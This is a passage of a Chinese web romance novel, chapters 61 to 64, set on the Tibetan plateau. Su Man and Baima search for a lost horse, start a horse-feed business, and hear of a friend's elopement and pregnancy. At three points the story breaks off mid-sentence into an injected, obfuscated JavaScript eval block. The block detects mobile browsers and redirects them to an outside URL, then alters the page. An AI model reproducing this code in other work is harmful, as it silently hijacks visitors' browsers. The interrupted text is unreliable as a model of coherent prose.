苏曼缓缓睁眼,正对住了他的眼,她不知道他看了她多久,她只知道那一刻,仿佛世界都停止了,白玛的脸停止在她的面前。 苏曼心跳骤停,又恢复急促跳动,直到白玛抿着嘴,害羞的笑着转过脸去,又舔着唇把脸转过来。 “姐姐......你醒啦?” “没有......” 苏曼把脸埋进手臂里,她也羞的不知如何是好。 她从未见过如此平静而又灼热的眼睛。 61. 第61章 一早梅朵带了一些锅盔过来,同时告诉白玛,昨晚回去他的一匹马不见了,可能是去了山上没有回来。 往日,马儿上山吃草,到了傍晚都会自己回来的,但是昨天,梅朵却发现少了一匹。 跟梅朵交待完,白玛就带着苏曼一起回了家。 “姐姐,你没见过上山找马吧?我带你去见识见识,什么叫野马,不听话的马。” 白玛说这话就是夸张了,不回家的马,不一定是野马,他不过是想邀苏曼和他一起去找马罢了。 真正的野马,才不会放他们独自上山吃草呢。 按照常规,苏曼是要回家补觉的,但这里是高原,她已经不是在永京了,她每天有大把大把的时间可以浪费。 “好。又要骑摩托车上山吧?” “对啊,上山只能骑摩托车。” 自从苏曼从永京搬到巴龙,她就没有再坐过白玛的摩托车了。她忽然,想再次坐在白玛的摩托车后座上。 白玛带着苏曼去加油站加满了油,因为很有可能他们要在山上轰着油跑几十公里,跑好几个山头,还要在天黑之前赶回来。 白玛又给苏曼包上了那块方格子大头巾,把她的脑袋裹的严严实实的。 “真好看。”白玛捧着苏曼大大的脑袋,咧着嘴笑着。 “你还是喜欢这样的装扮吧?” 这是当地女人的装扮,苏曼好像还有些吃醋了。 “什么啊!姐姐你误会了!我是说你真好看,你戴上我们的头巾好看!” 呜呜呜,白玛好害怕自己说错话了,惹的姐姐不高兴。 苏曼噗嗤一笑:“你想多了昂!” 他们好像是去找马,又好像不是。 白玛轰着油门扭驰在山间,像是带着苏曼去探险,去看高山,去看大地。 “姐姐,搂紧了啊!小心会摔的!” 这样的山路,确实得搂紧。 白玛扯过苏曼的手,放在了他的腰上,再又扯过了另一只。 苏曼第一次双手环抱着白玛的腰,这样确实有安全感多了,再也不怕掉下去了。 他们驰过山头,跨过小小的河流,在弯曲的路上,用眼睛巡视着大地,找寻着那匹不归家的马。 “白玛,你们的马,以前有试过一个晚上不回,第二天回来的吗?” 苏曼抱着白玛的腰,在后面喊着。 “有啊,好几天不回来,最后自己回来的都有呢。” “那有再也找不回来的马吗?” “很少,除非被狼吃掉了。吃掉了我们也会找到它的尸体的。” 也是。这一大片山头,都是他们的地盘。他们熟悉的不能再熟悉了,虽然路途遥远,但是这就是他们广阔的世界,他们用摩托车丈量的世界。 爬遍了几个山头,都没有看到马的影子,直到太阳快要落下,山间寒风吹起,白玛在他们之前看星星的地方,停了下来。 “姐姐,今天就这样吧,我们歇会儿,再回去。” 站在这个曾经来过的地方,那次苏曼心情不好,好像都已经过去很久了。 现在的苏曼,都快忘了之前的自己,是什么样子的了。 “白玛,我现在是不是有些变了?” 苏曼看着白玛,等待着他的回答。 白玛舔了舔唇:“嗯。你比以前开心了,也没有那么害怕了,你比以前自然了。” “真的?”这正是苏曼想要的回答。 她也觉得自己放开了许多,卸下了包袱,就不再负重前行了,她轻松了许多许多。 而且,这片高原,缓慢而悠远的高原,让她也不知不觉的缓慢了起来,不再急躁,时光慢慢,日光正好。 每一天,都好像有许多许多的时间。 站在山顶,一阵急风吹来,把瘦小的苏曼吹了了趔趄,一旁的白玛哈哈大笑。 “姐姐,你真的会被风吹跑哎!” 说着白玛解开自己的长袍张开,似是向她张开了一张大棉被。 “姐姐,进来吧。这里面暖和。” “什么呀!”苏曼一阵害羞, “快进来嘛!哎呀!风吹死我啦!” 风呼呼往白玛身子里灌,他还急嗖嗖的催着苏曼。 苏曼半推半就的走了进去,白玛长臂一裹,将苏曼整个裹进了怀里。 这一次拥抱,不像以前,这一次,是结结实实的他的怀里。 苏曼羞的将头整个埋了起来,她能听见白玛那打鼓一样的心跳声。 她还能感受到,白玛抱着他的手臂,捆的特别紧。 时间静止,世界静止,唯有山风在吟笑,笑这二人在这无人之地的羞涩。 “暖和吗?” 过了好一会儿,白玛才轻声温柔的问, 苏曼埋着头羞着脸,她不敢回答任何。 白玛低下头,用下巴抵着苏曼的头顶。 “姐姐,我爱你。” ...... 风呼啸阵阵,白玛的长发在山风中飘荡,他矗立在山野间,抵头抬目,望着这广阔天幕,怀里拥着的,就是他的全世界。 “姐姐,起风了,一会儿可能要下雨。” 苏曼钻出脑袋,侧头搭在他的臂弯,不敢正目相对。 “那我们回吧。” “好。” 圈住他的腰,贴紧他的后背,一路又颠簸下山。 时间太短,村子很快就在眼前。 风呼呼的吹着草原上稀落的几棵小树,草面被死死的按压在地面,直不起腰来,天色由蓝转成灰暗,浓云压顶,一团一团的聚集。 “这家伙!”白玛喊了一声, “怎么了?”身后的苏曼伸出脑袋, “马回来了,在院门口呢,这家伙,等着我开门呢。” 苏曼大喜,她只听说过老马识途,原来其实无论马年纪老不老,都能识得归家路。 哪怕是刚从别人手里买回来的马,它也能很快认的自己的新家。 马儿真是个聪明的宝贝。 白玛打开院门,马儿似是知道自己犯错了一般,抬着腿屁颠屁颠的小跑着进了马房。 白玛把摩托车推进杂物房,又去马房给马儿添了些水和饲料。也不知道这家伙在山上是吃饱了,还是没吃饱跑回来了。 “姐姐,你等我一会儿,等我忙一下哈!” “好嘞。” 苏曼自己坐在客厅里,炉子里没有火了,她在想是不是该生些火,一会儿就要下雨了,一会儿就要吃饭了,一会儿是不是要用到炉火? 很快白玛就回来了,抿着嘴害羞的笑看着苏曼。 “姐姐,晚上在这吃吧。” “吃啥呢?家里好像没什么吃的了。” 苏曼看看他们家,除了地上有个电饭锅,和厅中间的一个炉子,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037166|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他什么都没有。 “你们家有米吗?” “有啊。我们每家都会囤很多米,为了防止灾难。舅舅家更多呢,一包包堆的满墙都是。” “灾难?什么灾难?” 这年头还会有灾难?还需要囤粮? “不知道啊。反正我们祖祖辈辈都是这样的,都有囤粮的习惯。” “哦......” 好神奇。 家里什么吃的都没有,但是难不倒白玛。 “姐姐,我去趟小卖部,买两个泡面回来,可以吧?我们今晚吃个泡面。” “行。” 苏曼也渐渐习惯了他们的生活方式,方便面,就是特别方便的面。他们随时随地都需要这种食物。 赶在大雨下下来之前,白玛迅速的冲去了村里的小卖部,买回两个泡面,和一大袋其他的食物,他真的买了巧克力。 上次扎西没买,这次他要给姐姐买。 白玛熟练的把炉子生了起来,苏曼终于不用纠结了,就是要生炉子的。 晚上不生炉子怎么吃饭,烧热水也需要炉子,什么都离不开屋里的这个炉子。 炉子,就是每户人家最大的一个“家电”了吧。 当泡面泡好,屋外的倾盆大雨也“哗”的一下砸了下来,从一大朵,到小半盆,再到密密麻麻的满天空倾泄,世界变成了灰茫一片。 “哇!今天这么大雨。”苏曼一边嗦着方便面,一边抬头看着屋外。 “是啊,好在阿妈那天遇到的雨还不算大。要是这种雨,走都走不回来。” 雨水漂进了屋内,流淌出一地,白玛赶紧跑过去把门锁死,把每个窗户关好。 剩下的只有屋顶嘈杂愤怒的雨声了。 外面下着大雨,屋里生着炉子,头顶一个昏黄的灯泡,在海拔三千的高原上,这一切,对苏曼来说,就似梦旅一般。 雨下了大约半个钟头,还未见小的意思,白玛开始担心了起来。 “姐姐,一会儿屋里可能会漏雨。” “什么?漏雨?你家还会漏雨啊?” “对啊,一般的雨不会,偶尔会漏,下的特别大的时候会的。” 苏曼不知是苦还是乐,看白玛的样子,好像既不苦,也不乐,好像就是会发生的一件事情,他们去处理面对,就好了。 这都没什么大不了的。 当雨滴真的开始一点一点的往下掉的时候,苏曼才真切的感受到了什么叫漏雨。 长凳上的垫子都湿了,白玛拿来几个塑料盆,一个个摆在漏雨的地方。 “姐姐,你知道吗?有一天晚上我睡觉,忽然下大雨把我的床打湿了,我才醒的。我还睡在那个湿被子里睡了好久才醒的呢。” “还有一次在山上挖虫草,住那个帐篷嘛,我刚好睡在帐篷边边上,也是晚上下雨把我的被子都弄湿了。你知道我们是睡在地上的嘛,然后那个雨就流进来了嘛。” 白玛笑着对苏曼讲他的关于雨的有趣故事。 雨滴在塑料盆里滴滴答答的声音,此起彼伏,苏曼看着白玛忍不住笑,白玛就像那些雨滴一样可爱,他就像大自然一样可爱。 “怎么啦!姐姐,你笑我!” 白玛睁着他湿漉漉的眼睛,直盯盯的看着苏曼,他站在厅的中间,周围被雨声包裹着,身上散发着纯朴的光。 “白玛,你是一个很可爱的人呢。” 62. 第62章 第二天白玛去给阿妈办了出院,苏曼也去工商局办理注册公司的事。一边是家里,一边是公司,他们开始变的忙碌起来了。 次仁好久都没有骑马了,他最近想去弹弹琴。 他坐在黑色的帐篷里,小朋友们三三两两站在他的面前,认真的听他弹着曼陀铃。 乌黑的长发顺在他脸颊两边,他紧闭着唇,眼神平静望着前方,修长的手指熟练的拨动着琴弦,细腻灵动的音乐从他指尖流出。 那一刻的他,真像一个草原上的王子。 帐篷外是一片草原,草原上是几些追逐打闹的孩子们,他们在这里学习跳舞、唱歌,还有各种乐器。 外面有一张长条桌,桌上放着一些吃食,和奶茶。曲珍在这里照顾着这些孩子们,给他们烧奶茶,收拾垃圾和卫生,以及每天点名。 草原之大,之野,这些孩子们也是一样。 只有在老师面前,他们才会安静下来。 次仁在帐篷里教琴,曲珍在帐篷外忙着。次仁没想到曲珍会来这里做义工,他想她肯定是为了能离他近一些。 他透过黑帐篷垂下的一线缝隙,看着曲珍在外面忙碌的修长的身影。 做事情的她,看上去没有了大小姐的做派,她也没有再戴她那条粗粗的金项链了。 长裙裹着她的下身,曼妙的身材从腰间起伏,她过腰的长辫垂在身后,落到腰下,随着她的身子左右移动。 当她转过脸,桃花般的大眼,向黑帐篷这边投来,次仁闪过眼睫,继续低头拨弄着他的琴弦。 外面那些小男孩开始追逐打闹了起来。一开始是一个追着另一个跑,直到一把抓住,按在了地上,其余小孩都开始鸡飞狗跳的围着喊着。 曲珍赶紧跑了过去,次仁也站了起来。 只见曲珍拉开打人的那个小男孩,蹲在地上,握着他的手,用一根细细的小木棍子轻轻的打着那个小孩的手掌心。 次仁扯嘴一笑,他们小时候调皮,被打的可凶了。老师都是用拖把棍子打,打到走不了路了,回家还要被父母说打的好。 草原上的孩子野,太野了,野到连父母都说要狠狠管教,不然对“勇敢”的他们来说,真是小菜一碟。 艺术中心主任走了过来,手上拿着一沓宣传页。 “曲珍大美女!你过来一下嘛!” 曲珍拉着那个依然一脸倔强的小男孩,一起走到了次仁的帐篷前,和主任一起进了帐篷。 “曲珍,我们县上马上要搞文艺汇演了,这个传单你方便不嘛?去帮我们发一发嘛。” 发传单,当然是要美女去,无论是小伙子,还是小孩子,收到传单都会乐意来凑这个热闹的。 县上的娱乐活动本来就不多,只要有人知道,就肯定会有人来。但是这种文艺汇演又不是什么有名气的大活动,所以宣传非常重要。 次仁看着曲珍,她可没做过这种抛头露脸丢身份的事,更何况还要在太阳底下晒上一整天。 可是曲珍竟然高兴的答应了,像是捡到个什么宝贝工作一样。 主任一下子很轻松,将那沓宣传单交给曲珍后,笑着脸出去了。 “你打的太轻了。” “啊?” 次仁冷不丁忽然跟曲珍说话,叫曲珍一下子楞的不知道他在说什么。 确实她也不知道他在说什么。 “什么太轻?” “我说你打的太轻了。就这个。” 次仁朝曲珍身边的小男孩仰了仰头,小男孩嘟着嘴、瞪了次仁一眼。 “哦!他也没做什么嘛,小小教训一下就行了。” “现在没做什么,以后就不知道了。你那个打,跟没打一样。” 曲珍抿起嘴,又舔了舔唇,她可知道次仁曾经是个刺头,肯定没少挨大打。 “那你来教嘛,你不也是他们的老师嘛。” 说着曲珍把那个小男孩的手怼到了次仁跟前,小男孩吓的赶紧挣脱,朝帐篷外跑去。 曲珍扭头看着帐篷外那个跑出去的小男孩笑着说: “看来还是你凶,他们都怕你。” 对,曲珍也怕他。 次仁看着曲珍,他好像是第一次见曲珍笑。红唇拉开,露出洁白小牙,她的牙齿不大,她的唇有些薄,但很红润。 次仁又坐回了他的凳子。 曲珍见次仁不再理她,自己也走了出去。 她知道他心情不好,就这样陪着就挺好,至少还能看见他。在这里做事,他也不会烦她。 - 当苏曼把工商营业执照摆在白玛面前,看着上面写着自己名字的时候,白玛简直兴奋的不知如何是好。 他的人生,好像在苏曼的带领下,上了一个更高级的台阶,他从来都不懂、想都不敢想的台阶。 开公司,是多么厉害的事情啊!他现在是白总了? “姐姐,你出了十万啊?” 他看着上面的注册资金,以为开一家公司要花这么多钱。 “不是,这只是注册资金,钱还在那里的。” “哦......” 白玛不太懂,但是他听到说钱还在那里,他就放心了。有姐姐在,他可以不需要懂那么多,他只要把饲料卖出去就好了。 “那我现在要做什么啊?” “卖饲料啊!饲料过几天就到了。” 还有他们的代理协议。 苏曼看着白玛傻乎乎的样子,他高兴的都忘了自己的任务是什么。 “对对对,等饲料到了,我就拍照片,拍视频,各个群里发一发。嘿嘿。” 他们的群,可能有几十上百个。苏曼实在弄不懂,他们为什么会有那么多群,各种各样的群。 而且每个群里每天都有大量的信息,真不知道他们怎么有那么多的话说。 可能在这广阔的土地上,路途遥远,他们最方便的联系方式,就是靠着一部手机吧。 又或许,娱乐太少,“玩”手机,就是他们最容易获得的娱乐了。 “回头我们再去趟林孜县的马场,问问他们要不要。价格我们可以定便宜些,先打开市场再说。还有那些养牛的,也可以问一问。” 苏曼一边喝着咖啡,一边看着电脑,在琢磨着往后销路的事。 “养牛的就算了,他们不舍得给牛吃饲料的,牛太多了,他们还是喜欢直接放到山上牧场上去的。” “行,你比我懂,听你的。” 苏曼觉得,这就像是他们俩的第一次公司会议,虽然白玛傻呵呵的就像个下属一样,她说什么就是什么。 “姐姐,扎西要回来了。” 白玛现在每次来,苏曼都会做两杯咖啡,他已经实现了在云上咖啡喝免费咖啡的自由了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044553|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么快回来,你们私奔不是都得好几个月嘛!” “钱花完了嘛。” 还是白玛了解扎西,私奔好像并不是主要目的,出去玩一趟倒是真的。 苏曼噗嗤一笑,摇了摇头,扎西好像还是那么不靠谱。 “你仓库找好了吗?过几天饲料到了,得直接拉到仓库去了。” “找好了。在318边上的那个村子里,不远,挺便宜的。” “行。” 白玛找了个原本做民宿的房子,离县城近,交通又还算方便。 但这两年,汉地做民宿的老板们,来的来走的走,那个房子也空了好久了。 “回头你把账记好,咱们花了哪些钱,一笔一笔都要算清楚。” “哦。” “哦什么哦,做公司就是这样的,都要记账的。你以为是什么。” 苏曼以为白玛又误会她了,总是想着钱的事。 白玛嬉笑一下:“没什么。” “你阿妈好些了吗?” 苏曼这段时间一直在忙,也没顾的上去看望白玛妈妈。她一直说要送一个吹风机给她,这样洗完头发以后马上吹干,也不会那么容易感冒了。 白玛妈妈的身体真是太弱了。或许是年轻时带着三个孩子太操劳的缘故,她一点也不像草原上的其他女人那样强壮。 他们从小吃着牛羊肉和糌粑长大,身体强壮,耐力充沛,体格扛寒,一直是其他民族公认的好体格。 女性也是一样,性格普遍刚烈。但白玛妈妈很不像,她低调内敛,温柔细腻,倒像是汉地的女人。 苏曼对她有许多的怜爱。正如白玛对她一样。 “走,我们现在去我家。阿妈今天好像是包包子。” 上次大舅舅送来了牛肉,他们家里又有牛肉包子吃了。 “你等一下。” 苏曼赶紧上楼拿上那个早已买好的吹风机,自从白玛妈妈淋雨住院,她才想起来白玛妈妈一直想要吹风机这件事。 当白玛看到吹风机的时候,他真是太意外了,没想到姐姐对阿妈会如此细心。 “姐姐,你娶了我吧!真的!你是世界上顶顶好的老婆。” 苏曼推了白玛一把:“别油嘴滑舌哈!” “什么叫油嘴滑舌?我又不是扎西,我说的都是真心话。发誓!” 发誓,是他们高原人的口头禅。但不是白玛的。 白玛很少说这个词,他是一个真真认真的人。 “好好好,发誓发誓!” 苏曼虽然不喜欢这个词,但是从白玛口中说出来,听的却很开心。 一个吹风机,就叫他如此感动,可有些人,你为他做再多,都不会。 天上不会有相同的一朵云彩。 人性的不同,让这个世界变的更加复杂,交心是一件危险的事情,除非你遇到善良的人。 可谁又能保证自己遇到的那个人,一定是善良的呢。 人们用语言伪装,用行动伪装,用华丽的或破烂的外表伪装。 将恶埋在底下,将光鲜亮丽的善,夸大几百倍的展露出来。 谁会像白玛一样,简单的就像阿妈煮出来的奶茶一样呢。 喝一口就能知道是咸是甜,看一眼就知道是喜是悲。 摸不透的人心,总是掩藏在各种“发誓”的外衣下,只为了叫你相信。 63. 第63章 扎西带着次旦回来了,神采飞扬的,他第一时间就约了白玛。 当然,他也知道苏曼来到了巴龙定居,他更加坚定的认为苏曼会成为他的嫂子了。 白玛将地点直接定在了云上咖啡。 这里就好像是他的大本营。 一早十点扎西就赶了过来,意外的是他没有带次旦,而是自己一个人来。 发型也换了,不再是那头高顶卷发,或许是头发长长了的缘故,现在将卷发梳成了中分。 “呀!扎西,你这么早就到啦?白玛还没过来呢!” 苏曼也早早迎在了楼下,她很喜欢她的新生活,一点压力都没有,想做什么就做什么,做成了就好,做不成也没事。 这里,大家都不太在乎你是否成功,而是看你是否过的快乐。 这里,每个人的脸上,都是快乐。 虽然他们嘴里总是说着“哎呀!我没钱呀!”,但是,真的,一点都没影响到他们活着的快乐。 “姐姐,他不是常驻你这嘛!咋还没来呢!” 扎西又开始开玩笑了,虽然他说的好像也是事实,但是谁会这么直白的说出来呢。 “什么常驻,也就是不忙的时候过来。”苏曼嘴里反驳着,脸上却是笑嘻嘻的,“你家次旦呢?咋不跟着一起过来?” 扎西抿着嘴乖巧的坐在一张桌子上,苏曼给他端来一杯咖啡,也跟着一起坐下。时不时还望望窗外。 “哎呀!这个白玛真是的,让姐姐等这么久。” 苏曼忙收回目光,斜了扎西一眼:“问你话呢!” “哦哦!那个......她......不方便......” “不方便?” 这有什么不方便的。 “家里人还是不同意?” “没有没有。”扎西害羞的低着头,抿了一口咖啡,又舔了舔嘴唇上的泡沫,接着道: “她怀孕了。” “我去,扎西,你可以啊!” 怪不得扎西回来了,原来不是钱花光了,毕竟以他的性子,钱花光了,可以再借嘛。 扎西害羞的埋着头,抱着他的咖啡杯子,一边抬着眉,望向窗外。 “兄弟,你终于回来啦!” 苏曼扭头一看:“次仁?你怎么来了?” “哦哦,我叫他来的啊!”扎西忙站起身, “我怎么不能来啦!” 苏曼认为次仁这段时间应该没有心情做任何事情,肯定是闷在家里郁闷。 谁知,这么快,他就恢复了。 “能能能,次仁大公子怎么不能来,想来任何时间都欢迎。” 说着苏曼向吧台示意,给次仁也做一杯咖啡。 “你家白玛呢?”次仁问道, “什么我家?你可别瞎说啊!”苏曼心虚的看了一眼扎西。 “我就说嘛!姐姐,白玛肯定是喜欢你的。” 扎西的信息还停留在他走之前,他是最早发现白玛喜欢苏曼的人。当然,还有次仁。他也是最早把这件事说出来的人。 “还是你聪明。”次仁夸了扎西。 门外一阵摩托车轰鸣,白玛的车急急的停在了门口。 “白玛来了。”苏曼道, 只见白玛穿了件白色带帽卫衣走了进来,下面那条浅蓝色的直筒牛仔裤松松垮垮的套着他的大长腿,头发有些乱糟。 “兄弟!不应该啊!你怎么还迟到呢!”扎西站了起来, “哎呀!早上捡牛粪去了嘛!家里的牛粪没有了,阿妈叫我去捡一点回来。捡着捡着就想多捡一点嘛。” 白玛看了一眼坐在旁边的次仁:“兄弟,腿没事了吧!走!我们上楼喝茶去!” 扎西看看苏曼,苏曼对上眼,感觉很不好意思,这白玛,整的跟自己家似的。 “哎哟,白玛,你挺熟的嘛!”扎西怎么会放过这个机会揶揄白玛, 次仁抿着嘴笑了笑,端起咖啡杯就站了起来,楼上露台,他也是去过的。 扎西第一次来云上咖啡,也是第一次踏上这个露台,他站在露台边,看着街道,长开双臂一副很享受的模样。 “姐姐,你这地方真不错呢。是不是白玛经常上来?” 白玛也站了起来,走到扎西身边,搭着他的肩道:“你说呢?大聪明。” “我就知道,兄弟。” 次仁坐在那里,苏曼开始张罗泡茶。 “哇塞!那不是曲珍嘛?她在干嘛?曲珍!曲珍!” 扎西冲着街道对面喊了起来。 曲珍在街上发传单,这真是太稀奇了。 次仁也楞了,她真的在街上发传单了。 曲珍抬头找了好久,才找到声音的来源,原来是苏曼的云上咖啡,的二楼。 她也没上过二楼。 “曲珍,过来!过来嘛!” 扎西还在不停的喊着,邀请着。 曲珍穿过马路,走了过来。苏曼在一楼等她,把她也领上了二楼。 次仁在。 次仁竟然站了起来,给曲珍让了一个位置。白玛赶紧下楼去又搬了两张椅子。 “曲珍,你在做啥子嘛?” 扎西拿过曲珍放在桌上的传单:“你什么时候去县艺术中心了?我这一走,还真是好多事情都变了哈!” 扎西看看白玛,又看看次仁,曲珍有些不好意思的拨了拨额头的碎发。 “没事做嘛!找点事做。” “你不说,我还以为你跟次仁在一起了呢。次仁不是也在县艺术中心嘛。” 扎西说完,曲珍的脸瞬间红了起来,她低头接过苏曼递过来了茶。 “你管好你自己就行了,操那么多心。”次仁盯着桌上的宣传页,怼了扎西。 “就是,你管那么宽干嘛,你跟次旦到底怎么样了嘛。” 白玛用手捏住扎西的后脖子,将他控住,扎西耸着肩缩着脖子道:“哎呀,肯定是要结婚的嘛。应该快了。” “这么快?不等明年吗?” 毕竟今年美好的夏天快要过完了,而婚礼都是喜欢安排在夏天。 “等不了啦。” 白玛和次仁面面相觑,忽然明白了,曲珍又是一阵脸红。她现在低调了许多,也没有以前那么张扬了。 在次仁面前,她放下了自己的骄傲。 “恭喜啊!扎西。”苏曼应该是第一个知道次旦怀孕的人。 “什么时候办嘛?”白玛也在问, 婚礼,以前对他来说毫不相关。现在的白玛,总是有意无意的开始关心与婚礼相关的事情。 “这不刚回来嘛!还在商量呢。” 这种事情,肯定是两家大人坐在一起商量的,他们做小的,只需要听家人的安排就可以了。 总之,私奔,是草原上最有效的对抗家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056189|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭反对的方式。 次仁很羡慕扎西,他当年想跟汉族女朋友私奔,就失败了。 汉族女孩没有草原上的姑娘勇敢。 曲珍偷偷的看着次仁,他的眼里依然有落寞。谁都知道次仁这些年,还没放下。若是放下了,他就不会是这副样子。 苏曼很是兴奋:“扎西,你是要嫁给次旦吗?” “对啊,她要坐家嘛,她们家就指她了。” 牧场上指她,将来给父母养老也指她。但是好在,次旦家条件不错,牛也不少,以后扎西就会跟着次旦一起,分担她们家放牧的责任。 而次旦,就可以更好的管家了。 “你什么也没有吧?”曲珍问道, 都知道扎西家穷,嫁妆可能是没有的。 但是,他们也不太在乎,基本上就是有就带过来,有多少算多少,没有的话,也不会勉强。 只要两个人定下来了就可以了。 扎西有些不好意思,次仁看了眼曲珍,曲珍赶紧垂下眼去。 富人家的孩子,总是不能体会穷人家的孩子的。 苏曼赶紧帮忙打圆场:“扎西虽然什么都没有,但是只有他能拿到次旦的心啊。次旦很爱扎西的呢。” 苏曼想起第一次他们去次旦的牧场,次旦对她的敌意,以及后面她在扎西面前的小鸟依人。不管怎么说,扎西肯定还是有些本事的。 “对的呢,只要相爱,这些都不重要。开心就行了嘛。” 白玛也帮着说话。 曲珍好像有些被误解了,忙解释:“没有没有,我不是那个意思,我就是随口一问的。” “哎呀!我知道,曲珍才不会在意这些呢。你看次仁,腿都伤了,人家还这么喜欢他。” “哎哎哎!扎西你是皮又痒了是吧?”次仁用手戳了戳扎西,扎西嘿嘿笑着。 他帮曲珍解了围。扎西虽然嘴巴上总是花花的,做事情也好像不是那么靠谱。但是他是一个善良、细致,又聪明的人。 “等我跟次旦结了婚,就看你们两个了啊!” 扎西看着白玛和次仁,不知道他们两个谁会是下一个结婚的人。 “我不着急。”次仁赶忙撇清自己。 “我......还行......” “什么还行?什么还行?”扎西又嗅到一丝异样。 “哎呀!就是还行嘛!”白玛脸刷的红了,挠着头偷偷瞥了一眼苏曼。 次仁看在眼里。 次仁看看曲珍,曲珍也正在看他。 “那看来下一个是白玛了。你看,白玛都害羞了。白玛肯定已经表白了,对吧?白玛?你是不是已经表白了?” 扎西这字字没提苏曼,却字字都在指向苏曼。苏曼也坐不住了。 “你们还喝不喝?不喝下楼了!” “喝喝喝!” 白玛咧着嘴,端起茶杯,开心的喝了一口。今天这么多人,一起见证了他的爱情。他心里就是这么想的。 他再也不害怕次仁了。 他看着姐姐,就坐在他的身边。他甚至想象着他嫁给姐姐时的模样。他穿着汉地的西服,姐姐穿着洁白的婚纱。 还是他们在草原上举行一场当地的婚礼,姐姐穿上那些繁重的装饰,将她的乌发,编成满头细细的辫子,也戴上粗粗的金项链和硕大的红珊瑚。 想着这些,他真是觉得无比的向往。 64. 第64章 白玛骑着马,穿过河流,河水很深,淹到他的胸前,他在水下慢骑,直到马儿跨了上岸,白玛的整个身子才从水中跃出。 浑身湿透的白玛,就这样继续在日光下骑着,直到衣服自己干透。 他热爱这样的生活。与马为伴,与雪山为伴。 如今,还有他心爱的姐姐。 夏天就这么不可思议的过去了,短暂的秋天来临,他们会迎来漫长的冬季。 扎西很快开始了他的第一份正经工作:看草场。 村子周边一些区域的草是不允许被牧民家的牛和马吃的。 若是吃了的话,按头来罚钱,一头牛吃一次罚五块钱,若是几十头牛进入禁牧区的话,那就是罚款几百块钱了。 而这些罚款,都是直接归看草场的人所有,而且,村里额外还会发工资。 但是必须二十四小时在草场呆着,他们会在旁边搭上一个帐篷,晚上用来休息,白天就会在里面打牌和吃吃零食。 只是,看草场的工作很短暂,每年只有两个月。 扎西刚回来,现在只剩下半个月了。能捞上这个“肥差”还是因为当初村里抽签中签的那个“幸运儿”最近有事,没法继续了,才和扎西商量着让兄弟顶一顶。 每年村里抽签选看草场人的时候,会选两个人,这笔工资会由这两个人对半分,而且是两个月结束之后才给支付。 但是每天的罚款是属于个人的,两个人分就好了。 所以扎西每天特别认真的到处巡逻,巴不得有谁家“不懂事”的牛闯入草场,被他逮住。 最好是一群牛“不懂事”,但是可惜,往往都是个别的一两头牛,能有个五头“不懂事”的牛就不错了。 不过每天也能赚个烟钱、泡面钱。 他指着最后的工资用来还给白玛的那五千块钱,可能还不太够,或许到时候次旦也会帮着贴补一些,毕竟私奔是两个人的事。 “白玛,我看草场呢!你来我这玩不?” 扎西在帐篷里呆的无聊的很,次旦一回来就去了牧场,家里真是离不开她,往后坐家了,只会是更加辛苦。 “我忙的很呢!哪有空玩哦!” 那头的白玛正在物流中心提货。好家伙,第一批货是两百袋,他就一个人在那里搬,搬的满头大汗。 “你在做啥子嘛?” “马饲料嘛!不是跟你说过的嘛,我跟姐姐弄那个马饲料呢!” “哎哟,你现在大老板了哦!要不要我给你打工嘛?” 扎西看白玛跟着苏曼一天天的在忙,很是羡慕。他虽然也找了个“体面”的看草场工作,但是这是短暂的,很快就要结束了。 不知道为什么,之前他每天当个街溜子,并没有觉得什么,反而还很快活。 但是自从和次旦私奔回来,次旦怀了孕了,他一下子责任感就那么蹦了出来,他也想成为一个有用的人。 要做阿爸了,阿爸总不能是个街溜子吧。 所以,巴龙县的街上你永远看到的都是二十岁左右的小伙子,再往上,真的都回家当阿爸去了。 白玛当然不需要多一个发工资的人,但是他需要一个帮忙做事的人。 “啥子大老板嘛,光头司令哦!我哪有钱雇人啊,你要是愿意做,你帮我卖饲料嘛!我给你个拿货价,你自己卖的你自己得嘛,你嘴巴那么厉害,肯定卖的好。” 白玛也不太懂,反正就是觉得应该这么做。按苏曼的话讲,他这是招了个无底薪的业务员,或者说二级代理。 这些白玛统统都不懂。他只知道,他发展了不少人帮他卖饲料,用的都是这个法子。每个乡,每个村,都有他的兄弟。 姐姐说,那些都是代理。 扎西真的特别适合做这个事,他的口才和那灵活的脑瓜子,在这十里八乡都是出了名的好。 唯一就是先前懒惰了些。 “好嘛好嘛!你等我看完草场嘛。你那个......明天给我带两包过来看看嘛,我先看看。” 聪明的扎西,一下子就嗅到了商机,但是他还是谨慎,要先看看产品。 虽然他是信得过白玛的,但是他有自己的一套做事流程,这套流程让他从来不会被骗。 “好的嘛!先不说了,我忙着呢。” 